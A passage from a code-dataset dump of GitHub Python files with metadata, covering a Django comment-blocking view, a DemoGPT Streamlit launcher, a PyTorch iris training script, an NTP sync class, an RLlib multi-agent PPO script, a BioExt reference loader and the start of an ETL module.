'data', {})\n comment_id = request_data.get('comment_id', None)\n try:\n comment = Comment.objects.get(id=int(comment_id))\n except (Comment.DoesNotExist, ValueError, TypeError):\n self.error = {\n 'detail': BlockUserError.INVALID\n }\n self.status = 400\n return response_class(self.json(), status=self.status)\n\n blocked_user, created = BlockedUser.objects.get_or_create_blocked_user_for_comment(comment)\n\n if not created:\n blocked_user.blocked = not blocked_user.blocked\n blocked_user.save()\n\n reason = request_data.get('reason', None)\n if blocked_user.blocked and not reason:\n reason = comment.content\n\n BlockedUserHistory.objects.create_history(\n blocked_user=blocked_user,\n blocker=request.user,\n reason=reason\n )\n self.data = {\n 'blocked_user': comment.get_username(),\n 'blocked': blocked_user.blocked,\n 'urlhash': comment.urlhash\n }\n return response_class(self.json())\n\n\nclass ToggleBlockingView(CanBlockUsersMixin, BaseToggleBlockingView, View):\n response_class = UTF8JsonResponse\n", "repo_name": "Radi85/Comment", "sub_path": "comment/views/blocker.py", "file_name": "blocker.py", "file_ext": "py", "file_size_in_byte": 2027, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 93, "dataset": "github-code", "pt": "78", "api": [{"api_name": "comment.responses.DABResponseData", "line_number": 9, "usage_type": "name"}, {"api_name": "comment.models", "line_number": 25, "usage_type": "name"}, {"api_name": "comment.models.Comment.objects.get", "line_number": 25, "usage_type": "call"}, {"api_name": "comment.models.Comment.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "comment.models.Comment", "line_number": 25, "usage_type": "name"}, {"api_name": "comment.models.Comment.DoesNotExist", "line_number": 26, "usage_type": "attribute"}, {"api_name": "comment.models.Comment", "line_number": 26, "usage_type": "name"}, {"api_name": "comment.messages.BlockUserError.INVALID", "line_number": 28, "usage_type": "attribute"}, {"api_name": "comment.messages.BlockUserError", "line_number": 28, "usage_type": "name"}, {"api_name": "comment.models.BlockedUser.objects.get_or_create_blocked_user_for_comment", "line_number": 33, "usage_type": "call"}, {"api_name": "comment.models", "line_number": 33, "usage_type": "argument"}, {"api_name": "comment.models.BlockedUser.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "comment.models.BlockedUser", "line_number": 33, "usage_type": "name"}, {"api_name": "comment.models.content", "line_number": 41, "usage_type": "attribute"}, {"api_name": "comment.models", "line_number": 41, "usage_type": "name"}, {"api_name": "comment.models.BlockedUserHistory.objects.create_history", "line_number": 43, "usage_type": "call"}, {"api_name": "comment.models.BlockedUserHistory.objects", "line_number": 43, "usage_type": "attribute"}, {"api_name": "comment.models.BlockedUserHistory", "line_number": 43, "usage_type": "name"}, {"api_name": "comment.models.get_username", "line_number": 49, "usage_type": "call"}, {"api_name": "comment.models", "line_number": 49, "usage_type": "name"}, {"api_name": "comment.models.urlhash", "line_number": 51, "usage_type": "attribute"}, {"api_name": "comment.models", "line_number": 51, "usage_type": "name"}, {"api_name": "comment.mixins.CanBlockUsersMixin", "line_number": 56, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 56, "usage_type": "name"}, {"api_name": "comment.responses.UTF8JsonResponse", "line_number": 57, "usage_type": "name"}]} {"seq_id": "12771936371", "text": "import json\nimport os\nimport platform\nimport shutil\nimport sys\nimport tempfile\nimport threading\nfrom subprocess import PIPE, Popen\n\nfrom components.demogpt.chains.task_chains import TaskChains\nfrom components.demogpt.controllers import checkPromptTemplates, refineKeyTypeCompatiblity\n\n\ndef init(title=\"\"):\n if title:\n return IMPORTS_CODE_SNIPPET + f\"\\nst.title({title})\\n\"\n return IMPORTS_CODE_SNIPPET\n\n\ndef getCodeSnippet(task, code_snippets, iters=10):\n task = refineKeyTypeCompatiblity(task)\n task_type = task[\"task_type\"]\n code = \"\"\n if task_type == \"ui_input_text\":\n code = TaskChains.uiInputText(task=task, code_snippets=code_snippets)\n elif task_type == \"ui_output_text\":\n code = TaskChains.uiOutputText(task=task, code_snippets=code_snippets)\n elif task_type == \"prompt_chat_template\":\n res = \"\"\n is_valid = False\n res = TaskChains.promptChatTemplate(task=task, code_snippets=code_snippets)\n index = 0\n while not is_valid:\n check = checkPromptTemplates(res, task)\n is_valid = check[\"valid\"]\n feedback = check[\"feedback\"]\n if not is_valid:\n res = TaskChains.promptTemplateRefiner(res, feedback)\n else:\n break\n index += 1\n if index == iters:\n break\n code = getPromptChatTemplateCode(res, task)\n elif task_type == \"path_to_content\":\n code = TaskChains.pathToContent(task=task, code_snippets=code_snippets)\n elif task_type == \"doc_to_string\":\n code = TaskChains.docToString(task=task, code_snippets=code_snippets)\n elif task_type == \"string_to_doc\":\n code = TaskChains.stringToDoc(task=task, code_snippets=code_snippets)\n elif task_type == \"ui_input_file\":\n code = TaskChains.uiInputFile(task=task, code_snippets=code_snippets)\n elif task_type == \"doc_loader\":\n code = TaskChains.docLoad(task=task, code_snippets=code_snippets)\n elif task_type == \"doc_summarizer\":\n code = TaskChains.summarize(task=task, code_snippets=code_snippets)\n return code.strip() + \"\\n\"\n\n\ndef refine(code):\n if \"```\" in code:\n code = code.split(\"```\")[1]\n if code.startswith(\"python\"):\n code = code[len(\"python\") :].strip()\n return code\n\n\ndef getPromptChatTemplateCode(templates, task):\n inputs = task[\"input_key\"]\n variable = task[\"output_key\"]\n run_call = \"{}\"\n\n if inputs == \"none\":\n signature = f\"{templates['function_name']}()\"\n function_call = f\"{variable} = {signature}\"\n else:\n if isinstance(inputs, str):\n if inputs.startswith(\"[\"):\n inputs = inputs[1:-1]\n inputs = [var.strip() for var in inputs.split(\",\")]\n if len(inputs) > 0:\n run_call = \", \".join([f\"{var}={var}\" for var in inputs])\n signature = f\"{templates['function_name']}({','.join(inputs)})\"\n function_call = f\"\"\"\nif {' and '.join(inputs)}:\n {variable} = {signature}\nelse:\n {variable} = \"\"\n\"\"\"\n\n temperature = 0 if templates.get(\"variety\", \"False\") == \"False\" else 0.7\n\n code = f\"\"\"\\n\ndef {signature}:\n chat = ChatOpenAI(\n model=\"gpt-3.5-turbo-16k\",\n temperature={temperature}\n )\n system_template = \\\"\\\"\\\"{templates['system_template']}\\\"\\\"\\\"\n system_message_prompt = SystemMessagePromptTemplate.from_template(system_template)\n human_template = \\\"\\\"\\\"{templates['template']}\\\"\\\"\\\"\n human_message_prompt = HumanMessagePromptTemplate.from_template(human_template)\n chat_prompt = ChatPromptTemplate.from_messages(\n [system_message_prompt, human_message_prompt]\n )\n\n chain = LLMChain(llm=chat, prompt=chat_prompt)\n result = chain.run({run_call})\n return result # returns string \n\n{function_call} \n\n\"\"\"\n return code\n\n\ndef runThread(proc):\n proc.communicate()\n\n\ndef runStreamlit(code, openai_api_key, openai_api_base=None):\n \"\"\"\n Runs the provided code as a Streamlit application and returns the process ID.\n\n Args:\n code (str): The code of the Streamlit application.\n\n Returns:\n int: The process ID of the Streamlit application.\n \"\"\"\n tmp = tempfile.NamedTemporaryFile(\"w\", suffix=\".py\", delete=False, encoding=\"utf-8\")\n tmp.write(code)\n tmp.flush()\n environmental_variables = {\n \"OPENAI_API_KEY\": openai_api_key,\n \"STREAMLIT_SERVER_PORT\": \"8502\",\n \"OPENAI_API_BASE\": openai_api_base,\n }\n streamlit_path = shutil.which(\"streamlit\")\n if True or platform.system() == \"Windows\":\n env = os.environ.copy()\n env[\"PYTHONPATH\"] = \"\"\n env[\"OPENAI_API_KEY\"] = openai_api_key\n env[\"STREAMLIT_SERVER_PORT\"] = \"8502\"\n if openai_api_base:\n env[\"OPENAI_API_BASE\"] = openai_api_base\n python_path = sys.executable\n process = Popen(\n [python_path, \"-m\", \"streamlit\", \"run\", tmp.name],\n env=env,\n stdout=PIPE,\n stderr=PIPE,\n )\n threading.Thread(target=runThread, args=(process,)).start()\n try:\n tmp.close()\n except PermissionError:\n pass\n\n return process.pid\n\n\nIMPORTS_CODE_SNIPPET = \"\"\"\nimport streamlit as st\nfrom langchain import LLMChain\nfrom langchain.chat_models import ChatOpenAI\nfrom langchain.prompts.chat import (ChatPromptTemplate,\n HumanMessagePromptTemplate,\n SystemMessagePromptTemplate)\nfrom langchain.document_loaders import *\nfrom langchain.chains.summarize import load_summarize_chain\nimport tempfile\nfrom langchain.docstore.document import Document\n\"\"\"\n", "repo_name": "Ax2L/xGPT.One", "sub_path": "frontend/components/custom/demogpt/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 5674, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "components.demogpt.controllers.refineKeyTypeCompatiblity", "line_number": 21, "usage_type": "call"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains.uiInputText", "line_number": 25, "usage_type": "call"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains", "line_number": 25, "usage_type": "name"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains.uiOutputText", "line_number": 27, "usage_type": "call"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains", "line_number": 27, "usage_type": "name"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains.promptChatTemplate", "line_number": 31, "usage_type": "call"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains", "line_number": 31, "usage_type": "name"}, {"api_name": "components.demogpt.controllers.checkPromptTemplates", "line_number": 34, "usage_type": "call"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains.promptTemplateRefiner", "line_number": 38, "usage_type": "call"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains", "line_number": 38, "usage_type": "name"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains.pathToContent", "line_number": 46, "usage_type": "call"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains", "line_number": 46, "usage_type": "name"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains.docToString", "line_number": 48, "usage_type": "call"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains", "line_number": 48, "usage_type": "name"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains.stringToDoc", "line_number": 50, "usage_type": "call"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains", "line_number": 50, "usage_type": "name"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains.uiInputFile", "line_number": 52, "usage_type": "call"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains", "line_number": 52, "usage_type": "name"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains.docLoad", "line_number": 54, "usage_type": "call"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains", "line_number": 54, "usage_type": "name"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains.summarize", "line_number": 56, "usage_type": "call"}, {"api_name": "components.demogpt.chains.task_chains.TaskChains", "line_number": 56, "usage_type": "name"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 131, "usage_type": "call"}, {"api_name": "shutil.which", "line_number": 139, "usage_type": "call"}, {"api_name": "platform.system", "line_number": 140, "usage_type": "call"}, {"api_name": "os.environ.copy", "line_number": 141, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 141, "usage_type": "attribute"}, {"api_name": "sys.executable", "line_number": 147, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 148, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 151, "usage_type": "name"}, {"api_name": "subprocess.PIPE", "line_number": 152, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 154, "usage_type": "call"}]} {"seq_id": "20930539726", "text": "from dataset import *\nimport torch.nn as nn\nimport torch\nfrom torch.utils.data import DataLoader\nfrom visualization import *\nfrom model import MyNet\n\n\ndef main():\n\n learning_rate = 1e-2\n epoch = 1000\n batch_size = 1\n\n seed = 10\n random.seed(seed)\n torch.manual_seed(seed)\n\n model = MyNet()\n model.initialize_weight()\n\n # 读取数据，并将数据集划分为训练集，验证集，测试集。\n data_set = read_file(\"D:\\\\Course\\\\DeepLearning\\\\iris.data\")\n train_data, verify_data, test_data = shuffle(data_set)\n\n train_loader = DataLoader(train_data, batch_size=batch_size, collate_fn=detection_collate)\n verify_loader = DataLoader(verify_data, batch_size=batch_size, collate_fn=detection_collate)\n test_loader = DataLoader(test_data, batch_size=batch_size, collate_fn=detection_collate)\n\n # 获得第一个样本\n sample = data_set[0]\n\n # 输出第一个样本的手动计算梯度与自动计算梯度的差\n check_grad(sample, model)\n\n # 初始化每一轮在验证集与测试集上的误差\n loss_train = torch.zeros(epoch)\n loss_verify = torch.zeros(epoch)\n\n # 初始化每20轮在测试集、验证集、预测集上的准确率\n epoch_divide20 = int(epoch/20)\n accuracy_train = torch.zeros(epoch_divide20)\n accuracy_verify = torch.zeros(epoch_divide20)\n accuracy_test = torch.zeros(epoch_divide20)\n\n # 开始训练epoch轮模型\n for repeat_time in range(epoch):\n for batch_data, batch_label in train_loader:\n\n # 训练模型\n model.manual_train(batch_data, batch_label, learning_rate)\n\n # 计算模型在训练集上的误差\n loss_ave = 0\n y_pred_accuracy = 0\n for data, label in train_loader:\n # 使用模型计算出结果\n y = model(data)\n y_pred = y.argmax() == torch.tensor(label)\n\n # 计算损失\n criterion = nn.CrossEntropyLoss()\n label = torch.tensor(label)\n loss = criterion(y, label)\n loss_ave += loss\n y_pred_accuracy += y_pred\n\n loss_ave = loss_ave/len(train_data)\n loss_train[repeat_time] = loss_ave\n train_accuracy = 1.0 * y_pred_accuracy / len(train_data)\n\n # 计算模型在验证集上的平均误差和准确率\n loss_ave = 0\n y_pred_accuracy = 0\n for data, label in verify_loader:\n # 使用模型计算出结果\n y = model(data)\n y_pred = y.argmax() == torch.tensor(label)\n\n # 计算损失和准确度\n criterion = nn.CrossEntropyLoss()\n label = torch.tensor(label)\n loss = criterion(y, label)\n loss_ave += loss # 累加每个样本的误差\n y_pred_accuracy += y_pred # 累加每个样本的预测准确度\n\n loss_ave = loss_ave/len(verify_data)\n loss_verify[repeat_time] = loss_ave\n verify_accuracy = 1.0 * y_pred_accuracy/len(verify_data)\n\n # 计算模型在预测集上的准确度\n y_pred_accuracy = 0\n for data, label in test_loader:\n # 使用模型计算出结果\n y = model(data)\n y_pred = y.argmax() == torch.tensor(label)\n\n # 计算准确度\n y_pred_accuracy += y_pred # 累加每个样本的预测准确度\n\n test_accuracy = 1.0 * y_pred_accuracy / len(test_data)\n\n # 每20轮输出模型在训练集，验证集，测试集上的准确率\n if repeat_time % 20 == 0:\n num = int(repeat_time/20)\n accuracy_train[num] = train_accuracy\n accuracy_verify[num] = verify_accuracy\n accuracy_test[num] = test_accuracy\n\n # 最后将损失函数和准确率绘制出图像\n loss_train = loss_train.detach().numpy()\n loss_verify = loss_verify.detach().numpy()\n\n accuracy_train = accuracy_train.detach().numpy()\n accuracy_verify = accuracy_verify.detach().numpy()\n accuracy_test = accuracy_test.detach().numpy()\n\n print(\"最终在训练集上的损失为：%f\\n在验证集上的损失为：%f\\n\" % (loss_train[-1], loss_verify[-1]))\n print(\"最终在训练集上的准确率为：%f%%\\n在验证集上的准确率为：%f%%\\n在测试集上的准确率为：%f%%\\n\"\n % (accuracy_train[-1] * 100, accuracy_verify[-1] * 100, accuracy_test[-1] * 100))\n visualize_loss(loss_train, loss_verify)\n visualize_accuracy(accuracy_train, accuracy_verify, accuracy_test)\n\n\ndef detection_collate(batch):\n \"\"\"\n 对DataLoader的传入进行重写\n\n \"\"\"\n targets = []\n datas = []\n for sample in batch:\n datas.append(sample[0])\n targets.append(sample[1])\n datas = torch.tensor(datas)\n return datas, targets\n\n\ndef check_grad(sample, model):\n \"\"\"\n 检查手动计算的梯度与自动计算的梯度之间的差值\n\n \"\"\"\n sample_data = torch.tensor([sample[0]], dtype=torch.float)\n sample_label = torch.tensor([sample[1]])\n\n # 用模型计算出结果\n y_pred = model(sample_data)\n\n # 计算损失\n criterion = nn.CrossEntropyLoss()\n loss = criterion(y_pred, sample_label)\n\n # 将模型梯度清零\n model.zero_grad()\n\n # 使用手动计算梯度与自动计算梯度，比较梯度之差\n w1_grad, w2_grad, w3_grad = model.manual_backward(y_pred, sample_label)\n loss.backward()\n w3_grad_distance = model.layer3.weight.grad - w3_grad\n w2_grad_distance = model.layer2.weight.grad - w2_grad\n w1_grad_distance = model.layer1.weight.grad - w1_grad\n\n print('W1的梯度之差为：', w1_grad_distance)\n print('\\nW2的梯度之差为：', w2_grad_distance)\n print('\\nW3的梯度之差为：', w3_grad_distance)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "Long-online-advancement/code", "sub_path": "experiment_1/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 5749, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.manual_seed", "line_number": 17, "usage_type": "call"}, {"api_name": "model.MyNet", "line_number": 19, "usage_type": "call"}, {"api_name": "model.initialize_weight", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 44, "usage_type": "call"}, {"api_name": "model.manual_train", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 62, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 81, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 135, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 144, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 151, "usage_type": "name"}, {"api_name": "model.zero_grad", "line_number": 155, "usage_type": "call"}, {"api_name": "model.manual_backward", "line_number": 158, "usage_type": "call"}, {"api_name": "model.layer3", "line_number": 160, "usage_type": "attribute"}, {"api_name": "model.layer2", "line_number": 161, "usage_type": "attribute"}, {"api_name": "model.layer1", "line_number": 162, "usage_type": "attribute"}]} {"seq_id": "33349556738", "text": "# -*-coding:utf-8 -*\n\n\nimport time\nimport ntplib\n\nfrom utils import *\n\nclass Synchro(object):\n\t\"\"\"\n\t Classe gérant le décalage des heures\n\t\"\"\"\n\t\t\n\tdef start(self):\n\t\tresponse = None\n\t\twhile response is None:\n\t\t\tresponse = self.execute()\n\t\t\tif response is None:\n\t\t\t\ttime.sleep(10)\n\t\t\n\t\toffset = int(response - time.time())\n\t\t\n\t\t# If offset less than 2 seconds, ok\n\t\tif abs(offset) <= 2:\n\t\t\treturn 0\n\t\t\t\n\t\t# We reload ntp service to take the good time\n\t\ttry:\n\t\t\tex('/etc/init.d/ntp restart')\n\t\texcept subprocess.CalledProcessError:\n\t\t\tpass\n\t\t\n\t\t# We return the offset\n\t\treturn offset\n\t\t\t\n\tdef execute(self):\n\t\tc = ntplib.NTPClient()\n\t\ttry:\n\t\t\tresponse = c.request('ntp.frequenstat.com')\n\t\t\tresponse = response.tx_time\n\t\texcept Exception:\n\t\t\tresponse = None\n\t\t\t\n\t\treturn response\n\t\t", "repo_name": "realitix/frequenstat-hardware", "sub_path": "app/tracker_v3/tracker/synchro.py", "file_name": "synchro.py", "file_ext": "py", "file_size_in_byte": 781, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.sleep", "line_number": 19, "usage_type": "call"}, {"api_name": "time.time", "line_number": 21, "usage_type": "call"}, {"api_name": "ntplib.NTPClient", "line_number": 37, "usage_type": "call"}]} {"seq_id": "69994183291", "text": "from magnn.env_spread import env as simple_spread_v2\nimport ray\nfrom ray import air, tune\nfrom ray.rllib.env.wrappers.pettingzoo_env import PettingZooEnv\nfrom ray.tune.registry import register_env\nimport os \nimport torch.nn as nn\nfrom ray.rllib.models import ModelCatalog\nfrom ray.air.integrations.wandb import WandbLoggerCallback\nfrom magnn.models import SpreadMLP, SpreadGNN\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-m\", '--model', type=str, default=\"mlp\", choices=[\"mlp\", \"cnn\", \"gnn\"])\n\n\"\"\"python spread.py -m mlp --train_batch_size 5000 --lr 0.0001 --batch_mode truncate_episodes\"\"\"\n\n\n### PPO parameters\nparser.add_argument(\"--gamma\", type=float, default=0.99)\nparser.add_argument(\"--n_step\", type=int, default=3)\nparser.add_argument(\"--lr\", type=float, default=1e-4)\nparser.add_argument(\"--num_sgd_iter\", type=int, default=5)\nparser.add_argument(\"--sample_batch_size\", type=int, default=25)\nparser.add_argument(\"--sgd_minibatch_size\", type=int, default=128)\nparser.add_argument(\"--clip_param\", type=float, default=0.1)\nparser.add_argument(\"--vf_clip_param\", type=float, default=10.0)\nparser.add_argument(\"--entropy_coeff\", type=float, default=0.01)\nparser.add_argument(\"--kl_target\", type=float, default=0.01)\nparser.add_argument(\"--lambd\", type=float, default=0.95)\nparser.add_argument(\"--num_workers\", type=int, default=3)\nparser.add_argument(\"--num_envs_per_worker\", type=int, default=4)\nparser.add_argument(\"--num_gpus\", type=int, default=1)\nparser.add_argument(\"--compress_observations\", type=bool, default=False)\nparser.add_argument(\"--rollout_fragment_length\", type=str, default='auto')\nparser.add_argument(\"--train_batch_size\", type=int, default=512)\nparser.add_argument(\"--batch_mode\", type=str, default=\"complete_episodes\")\nparser.add_argument(\"--framework\", type=str, default=\"torch\")\nparser.add_argument(\"--use_wandb\", action='store_true')\nparser.add_argument(\"--mask_prob\", type=float, default=0.0, help=\"Probability of masking an agent's observation\")\nparser.add_argument(\"--N\", type=int, default=3, help=\"Number of agents/landmarks in the environment\")\n\nargs = parser.parse_args()\n\n\n\nmodel_map = {\n \"mlp\": \"spreadmlp\",\n \"cnn\": \"spreadcnn\",\n \"gnn\": \"spreadgnn\"\n}\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"0\"\nray.init(num_gpus=1, ignore_reinit_error=True)\nregister_env(\"spread\", lambda _: PettingZooEnv(simple_spread_v2(N=args.N, mask_prob=args.mask_prob)))\n\nModelCatalog.register_custom_model(\n \"spreadmlp\", SpreadMLP \n )\n\nModelCatalog.register_custom_model(\n \"spreadgnn\", SpreadGNN\n)\ncb = []\nif args.use_wandb:\n cb = [WandbLoggerCallback(project=\"marl-w-gnn\")]\ntune.Tuner(\n \"PPO\",\n run_config=air.RunConfig(\n stop={\"episodes_total\": 2500},\n local_dir=\"ray_results/spread\",\n name=f\"PPO_{args.model}_spread\",\n checkpoint_config=air.CheckpointConfig(\n checkpoint_frequency=50,\n ),\n callbacks=cb,\n ),\n param_space={\n # Enviroment specific.\n \"env\": \"spread\",\n \"env_config\": {\n \"N\": args.N,\n \"mask_prob\": args.mask_prob\n },\n # General\n \"framework\": \"torch\",\n \"batch_mode\": \"complete_episodes\",\n \"num_gpus\": args.num_gpus,\n \"num_workers\": args.num_workers,\n \"num_envs_per_worker\": args.num_envs_per_worker,\n \"compress_observations\": args.compress_observations,\n \"rollout_fragment_length\": args.rollout_fragment_length,\n \"train_batch_size\": args.train_batch_size,\n \"model\": { 'custom_model': model_map[args.model]},\n \"gamma\": args.gamma,\n \"n_step\": args.n_step,\n \"lr\": args.lr,\n \"num_sgd_iter\": args.num_sgd_iter,\n \"sample_batch_size\": args.sample_batch_size,\n \"sgd_minibatch_size\": args.sgd_minibatch_size,\n \"clip_param\": args.clip_param,\n \"vf_clip_param\": args.vf_clip_param,\n \"entropy_coeff\": args.entropy_coeff,\n \"kl_target\": args.kl_target,\n \"lambda\": args.lambd,\n # Method specific.\n \"multiagent\": {\n # We only have one policy (calling it \"shared\").\n # Class, obs/act-spaces, and config will be derived\n # automatically.\n \"policies\": {\"shared_policy\"},\n \"model\": { 'custom_model': model_map[args.model]},\n # Always use \"shared\" policy.\n \"policy_mapping_fn\": (\n lambda agent_id, episode, worker, **kwargs: \"shared_policy\"\n ),\n },\n },\n).fit()", "repo_name": "jacobDeutsch10/marl_with_gnns", "sub_path": "spread.py", "file_name": "spread.py", "file_ext": "py", "file_size_in_byte": 4505, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 53, "usage_type": "attribute"}, {"api_name": "ray.init", "line_number": 54, "usage_type": "call"}, {"api_name": "ray.tune.registry.register_env", "line_number": 55, "usage_type": "call"}, {"api_name": "ray.rllib.env.wrappers.pettingzoo_env.PettingZooEnv", "line_number": 55, "usage_type": "call"}, {"api_name": "magnn.env_spread.env", "line_number": 55, "usage_type": "call"}, {"api_name": "ray.rllib.models.ModelCatalog.register_custom_model", "line_number": 57, "usage_type": "call"}, {"api_name": "magnn.models.SpreadMLP", "line_number": 58, "usage_type": "argument"}, {"api_name": "ray.rllib.models.ModelCatalog", "line_number": 57, "usage_type": "name"}, {"api_name": "ray.rllib.models.ModelCatalog.register_custom_model", "line_number": 61, "usage_type": "call"}, {"api_name": "magnn.models.SpreadGNN", "line_number": 62, "usage_type": "argument"}, {"api_name": "ray.rllib.models.ModelCatalog", "line_number": 61, "usage_type": "name"}, {"api_name": "ray.air.integrations.wandb.WandbLoggerCallback", "line_number": 66, "usage_type": "call"}, {"api_name": "ray.tune.Tuner", "line_number": 67, "usage_type": "call"}, {"api_name": "ray.tune", "line_number": 67, "usage_type": "name"}, {"api_name": "ray.air.RunConfig", "line_number": 69, "usage_type": "call"}, {"api_name": "ray.air", "line_number": 69, "usage_type": "name"}, {"api_name": "ray.air.CheckpointConfig", "line_number": 73, "usage_type": "call"}, {"api_name": "ray.air", "line_number": 73, "usage_type": "name"}]} {"seq_id": "10185934595", "text": "\nfrom __future__ import division, print_function\n\nfrom collections import namedtuple\nfrom glob import iglob\nfrom os.path import (abspath, basename,\n join, split, splitext)\nfrom re import (compile as re_compile,\n search as re_search, I as re_I)\n\n\nfrom BioExt.references._lazyseq import _lazyseq\n\n\n__all__ = []\n\n\n_installrefdirs = []\n\n\n_refdir = join(\n split(\n split(\n abspath(__file__)\n )[0] # _references/\n )[0], # _references/../\n 'data',\n 'references'\n)\n\n\ndef _reffactory(seqdir, seqfmt, name=None, genes=None):\n if name is None:\n name = re_compile(r'[^0-9A-Z]', re_I).sub('_', basename(seqdir))\n datadict = {}\n if genes is not None:\n for gene in genes:\n datadict[gene] = _lazyseq(seqdir, seqfmt % gene)\n else:\n genes = []\n for seqpath in iglob(join(seqdir, seqfmt % '*')):\n m = re_search(seqfmt % '(.+)', seqpath)\n if m:\n gene = m.group(1)\n genes.append(gene)\n datadict[gene] = _lazyseq(seqdir, basename(seqpath))\n # if the seqdir has the refdir in it, then add it to the list\n # of default-installed reference sequence directories\n if _refdir in seqdir:\n globber = '*' + splitext(seqfmt)[1]\n _installrefdirs.append(\n join(\n 'data',\n 'references',\n basename(seqdir),\n globber\n )\n )\n return namedtuple(name, genes)(**datadict)\n", "repo_name": "nlhepler/BioExt", "sub_path": "BioExt/references/_factory.py", "file_name": "_factory.py", "file_ext": "py", "file_size_in_byte": 1505, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 24, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 34, "usage_type": "call"}, {"api_name": "re.I", "line_number": 34, "usage_type": "argument"}, {"api_name": "os.path.basename", "line_number": 34, "usage_type": "call"}, {"api_name": "BioExt.references._lazyseq._lazyseq", "line_number": 38, "usage_type": "call"}, {"api_name": "glob.iglob", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "re.search", "line_number": 42, "usage_type": "call"}, {"api_name": "BioExt.references._lazyseq._lazyseq", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 55, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 59, "usage_type": "call"}]} {"seq_id": "30006376322", "text": "from wic import RESTRICT\nfrom wic import etl as ETL\nfrom wic.etl import column as Column\nfrom wic.etl import common as Common\nfrom wic.etl import db as ETLDB\nfrom wic.etl.key import system_key\nfrom wic.util import folder as Folder\nfrom wic.util.logging import logger\nimport datetime, csv, re\n\n\n\n_cat = RESTRICT.CM\n_cat1 = RESTRICT.DC\n_re_csv1 = re.compile('^(.+)_(LRC\\d+)_(\\d\\d\\d\\d-\\d\\d-\\d\\d)[.]txt$')\n_re_csv2 = re.compile('^(.+)_(NHRC\\d+)_(\\d\\d\\d\\d-\\d\\d-\\d\\d)[.]txt$')\n\n\n\n\ndef _csv_filename_to_tblname(csv_filename):\n m = _re_csv1.match(csv_filename)\n if m is 